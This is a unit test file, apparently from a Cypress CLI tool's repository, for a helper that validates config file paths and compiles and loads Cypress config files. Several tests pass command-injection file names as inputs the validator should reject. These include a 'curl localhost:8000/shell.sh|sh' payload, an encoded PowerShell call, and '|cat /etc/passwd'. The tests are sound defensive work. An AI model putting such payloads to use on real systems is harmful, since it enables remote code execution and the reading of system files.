-
Notifications
You must be signed in to change notification settings - Fork 44
Expand file tree
/
Copy pathreadCypressConfigUtil.js
More file actions
565 lines (456 loc) · 27.3 KB
/
Copy pathreadCypressConfigUtil.js
File metadata and controls
565 lines (456 loc) · 27.3 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
'use strict';
const chai = require("chai"),
expect = chai.expect,
sinon = require("sinon"),
path = require('path'),
EventEmitter = require('events'),
rewire = require('rewire');
const logger = require("../../../../bin/helpers/logger").winstonLogger;
const cp = require("child_process");
const fs = require("fs");
const utils = require("../../../../bin/helpers/utils");
const readCypressConfigUtil = require("../../../../bin/helpers/readCypressConfigUtil");
logger.transports["console.info"].silent = true;
describe("readCypressConfigUtil", () => {
let sandbox;
beforeEach(() => {
sandbox = sinon.createSandbox();
});
afterEach(() => {
sandbox.restore();
sinon.restore();
});
describe('detectLanguage', () => {
it('should return file extension', () => {
const result = readCypressConfigUtil.detectLanguage('cypress.config.ts');
expect(result).to.eql('ts');
});
it('should return file js extension if not matched with defined ones', () => {
const result = readCypressConfigUtil.detectLanguage('cypress.config.mts');
expect(result).to.eql('js');
});
});
describe('validateFilePath', () => {
it('should accept a normal file path', () => {
expect(() => readCypressConfigUtil.validateFilePath('path/to/cypress.config.js')).to.not.throw();
});
it('should accept paths with spaces', () => {
expect(() => readCypressConfigUtil.validateFilePath('path/to my project/cypress.config.js')).to.not.throw();
});
it('should accept Windows absolute paths with backslashes', () => {
expect(() => readCypressConfigUtil.validateFilePath('C:\\Users\\test\\cypress.config.js')).to.not.throw();
});
it('should accept Windows absolute paths with spaces and backslashes (Program Files)', () => {
expect(() => readCypressConfigUtil.validateFilePath('C:\\Program Files\\my app\\cypress.config.js')).to.not.throw();
});
it('should accept Windows relative paths with backslashes', () => {
expect(() => readCypressConfigUtil.validateFilePath('.\\subdir\\cypress.config.js')).to.not.throw();
});
it('should accept UNC-style Windows paths', () => {
expect(() => readCypressConfigUtil.validateFilePath('\\\\server\\share\\cypress.config.js')).to.not.throw();
});
it('should reject paths with semicolons (command injection)', () => {
expect(() => readCypressConfigUtil.validateFilePath('cypress.config";curl localhost:8000/shell.sh|sh;".js'))
.to.throw(/disallowed characters/);
});
it('should reject paths with ampersands (Windows command injection)', () => {
expect(() => readCypressConfigUtil.validateFilePath('cypress.config"&powershell -encodedcommand abc&".js'))
.to.throw(/disallowed characters/);
});
it('should reject paths with backticks (subshell injection)', () => {
expect(() => readCypressConfigUtil.validateFilePath('cypress.config`whoami`.js'))
.to.throw(/disallowed characters/);
});
it('should reject paths with dollar signs (variable expansion)', () => {
expect(() => readCypressConfigUtil.validateFilePath('cypress.config$(id).js'))
.to.throw(/disallowed characters/);
});
it('should reject paths with pipe characters', () => {
expect(() => readCypressConfigUtil.validateFilePath('cypress.config|cat /etc/passwd'))
.to.throw(/disallowed characters/);
});
});
describe('loadJsFile', () => {
it('should load js file using execFileSync', () => {
const execFileStub = sandbox.stub(cp, "execFileSync").returns("random string");
const readFileSyncStub = sandbox.stub(fs, 'readFileSync').returns('{"e2e": {}}');
const existsSyncStub = sandbox.stub(fs, 'existsSync').returns(true);
const unlinkSyncSyncStub = sandbox.stub(fs, 'unlinkSync');
const requireModulePath = path.join(__dirname, '../../../../', 'bin', 'helpers', 'requireModule.js');
const result = readCypressConfigUtil.loadJsFile('path/to/cypress.config.ts', 'path/to/tmpBstackPackages');
expect(result).to.eql({ e2e: {} });
// Verify execFileSync is called with 'node' as first arg and array of args
sinon.assert.calledOnce(execFileStub);
expect(execFileStub.getCall(0).args[0]).to.eql('node');
expect(execFileStub.getCall(0).args[1]).to.eql([requireModulePath, 'path/to/cypress.config.ts']);
// Verify NODE_PATH is passed via env option
expect(execFileStub.getCall(0).args[2].env.NODE_PATH).to.eql('path/to/tmpBstackPackages');
sinon.assert.calledOnce(readFileSyncStub);
sinon.assert.calledOnce(unlinkSyncSyncStub);
// existsSync is now called twice: once for the file-not-found UX check, once for the unlink cleanup
sinon.assert.calledTwice(existsSyncStub);
});
it('should load js file using execFileSync on Windows too (no platform-specific branching needed)', () => {
sinon.stub(process, 'platform').value('win32');
const execFileStub = sandbox.stub(cp, "execFileSync").returns("random string");
const readFileSyncStub = sandbox.stub(fs, 'readFileSync').returns('{"e2e": {}}');
const existsSyncStub = sandbox.stub(fs, 'existsSync').returns(true);
const unlinkSyncSyncStub = sandbox.stub(fs, 'unlinkSync');
const requireModulePath = path.join(__dirname, '../../../../', 'bin', 'helpers', 'requireModule.js');
const result = readCypressConfigUtil.loadJsFile('path/to/cypress.config.ts', 'path/to/tmpBstackPackages');
expect(result).to.eql({ e2e: {} });
// Same call signature on Windows - execFileSync handles cross-platform
sinon.assert.calledOnce(execFileStub);
expect(execFileStub.getCall(0).args[0]).to.eql('node');
expect(execFileStub.getCall(0).args[1]).to.eql([requireModulePath, 'path/to/cypress.config.ts']);
expect(execFileStub.getCall(0).args[2].env.NODE_PATH).to.eql('path/to/tmpBstackPackages');
sinon.assert.calledOnce(readFileSyncStub);
sinon.assert.calledOnce(unlinkSyncSyncStub);
// existsSync called twice: file-not-found UX check + unlink cleanup
sinon.assert.calledTwice(existsSyncStub);
});
it('should accept Windows-style absolute paths in loadJsFile (no rejection)', () => {
sandbox.stub(cp, "execFileSync").returns("random string");
sandbox.stub(fs, 'readFileSync').returns('{"e2e": {}}');
sandbox.stub(fs, 'existsSync').returns(true);
sandbox.stub(fs, 'unlinkSync');
// None of these should throw
expect(() => readCypressConfigUtil.loadJsFile('C:\\Users\\test\\cypress.config.js', 'path/to/tmpBstackPackages'))
.to.not.throw();
expect(() => readCypressConfigUtil.loadJsFile('C:\\Program Files\\my app\\cypress.config.js', 'path/to/tmpBstackPackages'))
.to.not.throw();
expect(() => readCypressConfigUtil.loadJsFile('.\\subdir\\cypress.config.js', 'path/to/tmpBstackPackages'))
.to.not.throw();
});
it('should throw a clear error when the cypress config file does not exist (UX)', () => {
sandbox.stub(fs, 'existsSync').returns(false);
const execFileStub = sandbox.stub(cp, "execFileSync");
expect(() => readCypressConfigUtil.loadJsFile('path/to/missing/cypress.config.js', 'path/to/tmpBstackPackages'))
.to.throw(/Cypress config file not found at:/);
// execFileSync must NOT be invoked when the file is missing
sinon.assert.notCalled(execFileStub);
});
it('should reject file paths containing command injection characters', () => {
const maliciousPath = 'cypress.config";curl localhost:8000/shell.sh|sh;".js';
expect(() => readCypressConfigUtil.loadJsFile(maliciousPath, 'path/to/tmpBstackPackages'))
.to.throw(/disallowed characters/);
});
it('should reject Windows command injection payloads', () => {
const maliciousPath = 'cypress.config"&powershell -encodedcommand abc&".js';
expect(() => readCypressConfigUtil.loadJsFile(maliciousPath, 'path/to/tmpBstackPackages'))
.to.throw(/disallowed characters/);
});
});
describe('resolveTsConfigPath', () => {
let readCypressConfigUtilRewired, resolveTsConfigPath;
beforeEach(() => {
readCypressConfigUtilRewired = rewire('../../../../bin/helpers/readCypressConfigUtil');
resolveTsConfigPath = readCypressConfigUtilRewired.__get__('resolveTsConfigPath');
});
it('should return user specified tsconfig path if exists', () => {
const bsConfig = {
run_settings: {
ts_config_file_path: 'custom/tsconfig.json'
}
};
const existsSyncStub = sandbox.stub(fs, 'existsSync');
existsSyncStub.withArgs(path.resolve('custom/tsconfig.json')).returns(true);
const result = resolveTsConfigPath(bsConfig, 'path/to/cypress.config.ts');
expect(result).to.eql(path.resolve('custom/tsconfig.json'));
});
it('should return null if no tsconfig found', () => {
const bsConfig = { run_settings: {} };
const existsSyncStub = sandbox.stub(fs, 'existsSync').returns(false);
const result = resolveTsConfigPath(bsConfig, 'path/to/cypress.config.ts');
expect(result).to.be.null;
});
it('should find tsconfig in cypress config directory', () => {
const bsConfig = { run_settings: {} };
const existsSyncStub = sandbox.stub(fs, 'existsSync');
existsSyncStub.withArgs(path.resolve('path/to/tsconfig.json')).returns(true);
existsSyncStub.returns(false); // default behavior
const result = resolveTsConfigPath(bsConfig, 'path/to/cypress.config.ts');
expect(result).to.eql(path.resolve('path/to/tsconfig.json'));
});
});
describe('generateTscCommandAndTempTsConfig', () => {
let readCypressConfigUtilRewired, generateTscCommandAndTempTsConfig;
beforeEach(() => {
readCypressConfigUtilRewired = rewire('../../../../bin/helpers/readCypressConfigUtil');
generateTscCommandAndTempTsConfig = readCypressConfigUtilRewired.__get__('generateTscCommandAndTempTsConfig');
});
it('should use extends approach when valid tsconfig exists', () => {
const bsConfig = {
run_settings: {
ts_config_file_path: 'existing/tsconfig.json'
}
};
const existsSyncStub = sandbox.stub(fs, 'existsSync');
existsSyncStub.withArgs(path.resolve('existing/tsconfig.json')).returns(true);
const readFileSyncStub = sandbox.stub(fs, 'readFileSync').returns('{}');
const writeFileSyncStub = sandbox.stub(fs, 'writeFileSync');
const result = generateTscCommandAndTempTsConfig(bsConfig, 'path/to/tmpBstackPackages', 'path/to/tmpBstackCompiledJs', 'path/to/cypress.config.ts');
expect(result.tscCommand).to.include('--project');
expect(result.tempTsConfigPath).to.include('tsconfig.singlefile.tmp.json');
// Verify the temp tsconfig uses extends
const writeCall = writeFileSyncStub.getCall(0);
const tempConfig = JSON.parse(writeCall.args[1]);
expect(tempConfig.extends).to.eql(path.resolve('existing/tsconfig.json'));
});
it('should use standalone config when no tsconfig exists', () => {
const bsConfig = { run_settings: {} };
const existsSyncStub = sandbox.stub(fs, 'existsSync').returns(false);
const writeFileSyncStub = sandbox.stub(fs, 'writeFileSync');
const result = generateTscCommandAndTempTsConfig(bsConfig, 'path/to/tmpBstackPackages', 'path/to/tmpBstackCompiledJs', 'path/to/cypress.config.ts');
expect(result.tscCommand).to.include('--project');
// Verify the temp tsconfig has standalone config
const writeCall = writeFileSyncStub.getCall(0);
const tempConfig = JSON.parse(writeCall.args[1]);
expect(tempConfig.extends).to.be.undefined;
expect(tempConfig.compilerOptions.module).to.eql('commonjs');
expect(tempConfig.compilerOptions.allowSyntheticDefaultImports).to.be.true;
expect(tempConfig.compilerOptions.target).to.eql('es2017');
});
it('should handle invalid tsconfig and fallback to standalone', () => {
const bsConfig = {
run_settings: {
ts_config_file_path: 'invalid/tsconfig.json'
}
};
const existsSyncStub = sandbox.stub(fs, 'existsSync');
existsSyncStub.withArgs(path.resolve('invalid/tsconfig.json')).returns(true);
const readFileSyncStub = sandbox.stub(fs, 'readFileSync').throws(new Error('Invalid JSON'));
const writeFileSyncStub = sandbox.stub(fs, 'writeFileSync');
const result = generateTscCommandAndTempTsConfig(bsConfig, 'path/to/tmpBstackPackages', 'path/to/tmpBstackCompiledJs', 'path/to/cypress.config.ts');
// Should fallback to standalone config
const writeCall = writeFileSyncStub.getCall(0);
const tempConfig = JSON.parse(writeCall.args[1]);
expect(tempConfig.extends).to.be.undefined;
expect(tempConfig.compilerOptions.module).to.eql('commonjs');
});
it('should generate Windows command correctly', () => {
sinon.stub(process, 'platform').value('win32');
const bsConfig = { run_settings: {} };
const existsSyncStub = sandbox.stub(fs, 'existsSync').returns(false);
const writeFileSyncStub = sandbox.stub(fs, 'writeFileSync');
const result = generateTscCommandAndTempTsConfig(bsConfig, 'path/to/tmpBstackPackages', 'path/to/tmpBstackCompiledJs', 'path/to/cypress.config.ts');
expect(result.tscCommand).to.include('set NODE_PATH=');
expect(result.tscCommand).to.include('&&');
});
it('should generate Unix command correctly', () => {
sinon.stub(process, 'platform').value('linux');
const bsConfig = { run_settings: {} };
const existsSyncStub = sandbox.stub(fs, 'existsSync').returns(false);
const writeFileSyncStub = sandbox.stub(fs, 'writeFileSync');
const result = generateTscCommandAndTempTsConfig(bsConfig, 'path/to/tmpBstackPackages', 'path/to/tmpBstackCompiledJs', 'path/to/cypress.config.ts');
expect(result.tscCommand).to.include('NODE_PATH=path/to/tmpBstackPackages');
expect(result.tscCommand).to.include('tsc-alias');
});
});
describe('convertTsConfig', () => {
it('should compile cypress.config.ts to cypress.config.js with new approach', () => {
const bsConfig = {
run_settings: {
cypressConfigFilePath: 'path/to/cypress.config.ts',
cypress_config_filename: 'cypress.config.ts'
}
};
const existsSyncStub = sandbox.stub(fs, 'existsSync');
existsSyncStub.withArgs(sinon.match(/tsconfig\.singlefile\.tmp\.json/)).returns(true);
existsSyncStub.returns(false); // for tsconfig search
const writeFileSyncStub = sandbox.stub(fs, 'writeFileSync');
const unlinkSyncStub = sandbox.stub(fs, 'unlinkSync');
const compileTsStub = sandbox.stub(cp, "execSync").returns("TSFILE: path/to/compiled/cypress.config.js");
const result = readCypressConfigUtil.convertTsConfig(bsConfig, 'path/to/cypress.config.ts', 'path/to/tmpBstackPackages');
expect(result).to.eql('path/to/compiled/cypress.config.js');
// Verify temp tsconfig was created and cleaned up
sinon.assert.calledOnce(writeFileSyncStub);
sinon.assert.calledOnce(unlinkSyncStub);
// Verify command uses --project flag
const tscCommand = compileTsStub.getCall(0).args[0];
expect(tscCommand).to.include('--project');
expect(tscCommand).to.include('tsconfig.singlefile.tmp.json');
});
it('should compile cypress.config.ts to cypress.config.js for Windows with new approach', () => {
sinon.stub(process, 'platform').value('win32');
const bsConfig = {
run_settings: {
cypressConfigFilePath: 'path/to/cypress.config.ts',
cypress_config_filename: 'cypress.config.ts'
}
};
const existsSyncStub = sandbox.stub(fs, 'existsSync');
existsSyncStub.withArgs(sinon.match(/tsconfig\.singlefile\.tmp\.json/)).returns(true);
existsSyncStub.returns(false);
const writeFileSyncStub = sandbox.stub(fs, 'writeFileSync');
const unlinkSyncStub = sandbox.stub(fs, 'unlinkSync');
const compileTsStub = sandbox.stub(cp, "execSync").returns("TSFILE: path/to/compiled/cypress.config.js");
const result = readCypressConfigUtil.convertTsConfig(bsConfig, 'path/to/cypress.config.ts', 'path/to/tmpBstackPackages');
expect(result).to.eql('path/to/compiled/cypress.config.js');
// Verify Windows command format
const tscCommand = compileTsStub.getCall(0).args[0];
expect(tscCommand).to.include('set NODE_PATH=');
expect(tscCommand).to.include('&&');
});
it('should return null if compilation fails with new approach', () => {
const bsConfig = {
run_settings: {
cypressConfigFilePath: 'path/to/cypress.config.ts',
cypress_config_filename: 'cypress.config.ts'
}
};
const existsSyncStub = sandbox.stub(fs, 'existsSync');
existsSyncStub.withArgs(sinon.match(/tsconfig\.singlefile\.tmp\.json/)).returns(true);
existsSyncStub.returns(false);
const writeFileSyncStub = sandbox.stub(fs, 'writeFileSync');
const unlinkSyncStub = sandbox.stub(fs, 'unlinkSync');
sandbox.stub(cp, "execSync").returns("Error: some error\n");
const result = readCypressConfigUtil.convertTsConfig(bsConfig, 'path/to/cypress.config.ts', 'path/to/tmpBstackPackages');
expect(result).to.eql(null);
// Verify cleanup still happens
sinon.assert.calledOnce(unlinkSyncStub);
});
it('should compile cypress.config.ts to cypress.config.js if irrelevant error with new approach', () => {
const bsConfig = {
run_settings: {
cypressConfigFilePath: 'path/to/folder/cypress.config.ts',
cypress_config_filename: 'cypress.config.ts'
}
};
const existsSyncStub = sandbox.stub(fs, 'existsSync');
existsSyncStub.withArgs(sinon.match(/tsconfig\.singlefile\.tmp\.json/)).returns(true);
existsSyncStub.returns(false);
const writeFileSyncStub = sandbox.stub(fs, 'writeFileSync');
const unlinkSyncStub = sandbox.stub(fs, 'unlinkSync');
const execSyncStub = sandbox.stub(cp, "execSync");
execSyncStub.throws({
output: Buffer.from("Error: Some Error \n TSFILE: path/to/compiled/cypress.config.js")
});
const result = readCypressConfigUtil.convertTsConfig(bsConfig, 'path/to/cypress.config.ts', 'path/to/tmpBstackPackages');
expect(result).to.eql('path/to/compiled/cypress.config.js');
// Verify cleanup happens even on error
sinon.assert.calledOnce(unlinkSyncStub);
});
it('should preserve backwards compatibility with fallback configuration', () => {
const bsConfig = {
run_settings: {
cypressConfigFilePath: 'path/to/cypress.config.ts',
cypress_config_filename: 'cypress.config.ts'
}
};
const existsSyncStub = sandbox.stub(fs, 'existsSync');
existsSyncStub.withArgs(sinon.match(/tsconfig\.singlefile\.tmp\.json/)).returns(true);
existsSyncStub.returns(false); // No existing tsconfig
const writeFileSyncStub = sandbox.stub(fs, 'writeFileSync');
const unlinkSyncStub = sandbox.stub(fs, 'unlinkSync');
const compileTsStub = sandbox.stub(cp, "execSync").returns("TSFILE: path/to/compiled/cypress.config.js");
const result = readCypressConfigUtil.convertTsConfig(bsConfig, 'path/to/cypress.config.ts', 'path/to/tmpBstackPackages');
expect(result).to.eql('path/to/compiled/cypress.config.js');
// Verify the temp config contains all old command-line parameters
const writeCall = writeFileSyncStub.getCall(0);
const tempConfig = JSON.parse(writeCall.args[1]);
const compilerOptions = tempConfig.compilerOptions;
expect(compilerOptions.allowSyntheticDefaultImports).to.be.true;
expect(compilerOptions.module).to.eql('commonjs');
expect(compilerOptions.declaration).to.be.false;
expect(compilerOptions.listEmittedFiles).to.be.true;
expect(compilerOptions.target).to.eql('es2017');
expect(compilerOptions.moduleResolution).to.eql('node');
});
});
describe('readCypressConfigFile', () => {
it('should read js file', () => {
const bsConfig = {
run_settings: {
cypressConfigFilePath: 'path/to/cypress.config.js',
cypress_config_filename: 'cypress.config.js'
}
};
sandbox.stub(readCypressConfigUtil, 'loadJsFile').returns({e2e: {}});
sandbox.stub(cp, 'execSync');
const result = readCypressConfigUtil.readCypressConfigFile(bsConfig);
expect(result).to.eql({ e2e: {} });
});
it('should read ts file', () => {
const bsConfig = {
run_settings: {
cypressConfigFilePath: 'path/to/cypress.config.ts',
cypress_config_filename: 'cypress.config.ts'
}
};
sandbox.stub(readCypressConfigUtil, 'convertTsConfig').returns('path/to/compiled/cypress.config.js');
sandbox.stub(readCypressConfigUtil, 'loadJsFile').returns({e2e: {}});
sandbox.stub(cp, 'execSync');
const result = readCypressConfigUtil.readCypressConfigFile(bsConfig);
expect(result).to.eql({ e2e: {} });
});
it('should handle error if any error occurred', () => {
const bsConfig = {
run_settings: {
cypressConfigFilePath: 'path/to/cypress.config.js',
cypress_config_filename: 'cypress.config.js'
}
};
sandbox.stub(readCypressConfigUtil, 'loadJsFile').throws(new Error("Some error"));
const sendUsageReportStub = sandbox.stub(utils, 'sendUsageReport');
sandbox.stub(cp, 'execSync');
const result = readCypressConfigUtil.readCypressConfigFile(bsConfig);
expect(result).to.eql(undefined);
sinon.assert.calledWithExactly(sendUsageReportStub, {
run_settings: {
cypressConfigFilePath: 'path/to/cypress.config.js',
cypress_config_filename: 'cypress.config.js'
}
}, null, 'Error while reading cypress config: Some error', 'warning','cypress_config_file_read_failed', null, null)
});
});
describe('Edge Cases and Error Scenarios', () => {
it('should handle missing typescript package gracefully', () => {
const bsConfig = {
run_settings: {
cypressConfigFilePath: 'path/to/cypress.config.ts',
cypress_config_filename: 'cypress.config.ts'
}
};
const existsSyncStub = sandbox.stub(fs, 'existsSync');
existsSyncStub.withArgs(sinon.match(/tsconfig\.singlefile\.tmp\.json/)).returns(true);
existsSyncStub.returns(false);
const writeFileSyncStub = sandbox.stub(fs, 'writeFileSync');
const unlinkSyncStub = sandbox.stub(fs, 'unlinkSync');
const execSyncStub = sandbox.stub(cp, "execSync").throws(new Error('typescript not found'));
const result = readCypressConfigUtil.convertTsConfig(bsConfig, 'path/to/cypress.config.ts', 'path/to/tmpBstackPackages');
expect(result).to.be.null;
sinon.assert.calledOnce(unlinkSyncStub); // Cleanup should still happen
});
it('should handle temp file creation failure', () => {
const bsConfig = {
run_settings: {
cypressConfigFilePath: 'path/to/cypress.config.ts',
cypress_config_filename: 'cypress.config.ts'
}
};
const existsSyncStub = sandbox.stub(fs, 'existsSync').returns(false);
const writeFileSyncStub = sandbox.stub(fs, 'writeFileSync').throws(new Error('Permission denied'));
expect(() => {
readCypressConfigUtil.convertTsConfig(bsConfig, 'path/to/cypress.config.ts', 'path/to/tmpBstackPackages');
}).to.throw('Permission denied');
});
it('should handle execution correctly without duplication', () => {
const bsConfig = {
run_settings: {
cypressConfigFilePath: 'path/to/cypress.config.ts',
cypress_config_filename: 'cypress.config.ts'
}
};
const existsSyncStub = sandbox.stub(fs, 'existsSync');
existsSyncStub.withArgs(sinon.match(/tsconfig\.singlefile\.tmp\.json/)).returns(true);
existsSyncStub.returns(false);
const writeFileSyncStub = sandbox.stub(fs, 'writeFileSync');
const unlinkSyncStub = sandbox.stub(fs, 'unlinkSync');
const execSyncStub = sandbox.stub(cp, "execSync").returns("TSFILE: path/to/compiled/cypress.config.js");
readCypressConfigUtil.convertTsConfig(bsConfig, 'path/to/cypress.config.ts', 'path/to/tmpBstackPackages');
// Verify execSync is called only once (fixed duplicate execution issue)
expect(execSyncStub.callCount).to.eql(1);
});
});
});